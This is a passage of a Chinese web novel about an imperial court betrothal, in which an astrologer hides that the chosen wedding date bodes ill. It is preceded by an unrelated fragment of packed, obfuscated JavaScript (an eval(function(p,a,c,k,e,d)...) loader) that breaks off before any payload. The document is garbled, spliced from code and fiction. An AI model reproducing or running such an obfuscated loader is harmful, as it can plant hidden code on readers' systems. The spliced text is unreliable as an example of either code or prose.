;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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就算他此刻说钦天监那边已经办妥,魏珉也只是神色淡淡地看过来,看不出高兴或者不高兴的样子,但松青就是觉得有些畏惧此刻的世子。 他深深埋下头去。 …… 锦囊落到杜芳如手中,她拿出准备好的折子,其他已经写好,只需填上日期。如果这封折子送到皇帝面前,就再也没有后悔的余地。 贵妃询问庄惟月的想法。 庄惟月当真认真考虑了一番,虽然昨天魏珉小发雷霆,但掌心红痕还没回宫就消了。这么多年,魏珉深谙打手心的技艺,雷声大雨点小,成功骗过父皇和母妃好几次。 小时候贵妃让她多和魏珉玩,她很听话地缠着他,第二次见面,魏珉恶狠狠地盯着她,心不甘情不愿地拿出笛子,给她吹吴越之地流传的艳曲。 曲调欢快,庄惟月喜欢又好奇,想让魏珉把词一并说出来,他紧紧咬着牙,宁死不屈,也不愿意教她。 即使小郎君被她弄得屡屡生闷气,他还是会在母妃面前帮她掩饰,帮她罚抄的作业更是不计其数。 若将十个指头拿出来列一列亲朋好友的重要程度,魏珉能位居其一。 在京中,当下确实没有比魏珉更合适的驸马人选。 庄惟月脑子里飞快转了一圈,坚定说:“女儿不悔。” 果然,贵妃的折子刚送往蓬莱宫,没过多久,皇帝身边的传旨太监就到了魏侯府邸,仁和帝赐婚嘉宁公主庄惟月与魏侯世子魏珉,婚期定在一个月后的四月二十九日。 …… 李青徽占卜完,从内殿出来,发现桌案上少了些东西。 叫人来问,才知道长春宫的掌事来过,取走了他放吉日的锦囊。 他想着总算了解完一件麻烦事,记录下刚才占卜的结果,一个灰色锦囊从袖中掉了出来。他忘记何时放进去的,捡起来打开看,这个里面的日期才是对的。 那芳杏取走的是什么? “坏了坏了。”他念叨着拍案而起,把小徒弟叫进来,要他去打探消息。 徒弟懵懵懂懂:“师父,打探什么消息?” 李青徽担心他闹得太大让人看出端倪,尽量平静道:“看贵妃娘娘满不满意,公主与世子成亲的日子有没有定下来。” 小徒弟哦了一声,打探情况去了。 李青徽坐下,将纸揉作一团,飞快写请罪折子。 最早推算出来的日期是十月——喜神降福,春台长乐,乃是婚配的上上吉日。贵妃不是很满意,打回来让他把时间往前挑一挑,李青徽选了个次一点的吉日,七月十二,有瓜瓞绵绵之意。 可惜这日子还没递到长春宫,魏侯府的人寻来了。 “李大人不妨再算上一算,世子觉得春日娶亲最为合宜。”松青用笔墨涂去李青徽择定好的日子,“毕竟世子成亲,魏侯才会回京,方便和他提提李大人侄子的事情。” 侄子一心从军,大哥家中就这一个男丁,求到李青徽这里,他没办法拒绝,只得听从松青安排,在四月和五月之间挑了个良辰吉时。 四月二十九。 本该是个诸事皆宜的大日子,他定下来后又仔细推算两位贵人的生辰八字,第二次算来,大吉突变大凶! 尤其是不宜婚娶之事! 他换了个日子,担心再出错,随身带着,没想到偏偏是他不在的那一会,废弃掉的锦囊被拿走。 贵妃娘娘对他选下的日子很满意,娘娘的赏赐和皇帝赐婚的消息一起传到钦天监。 李青徽战战兢兢拿了赏赐,手心发汗,闭上门重新推衍,还是同样的结果。 他在触怒贵妃和瞒过此事之间徘徊几次,最终烧掉草纸,打算将错就错。 听说庄惟月和魏珉青梅竹马,两心相依,但愿有情人可以化解此劫难。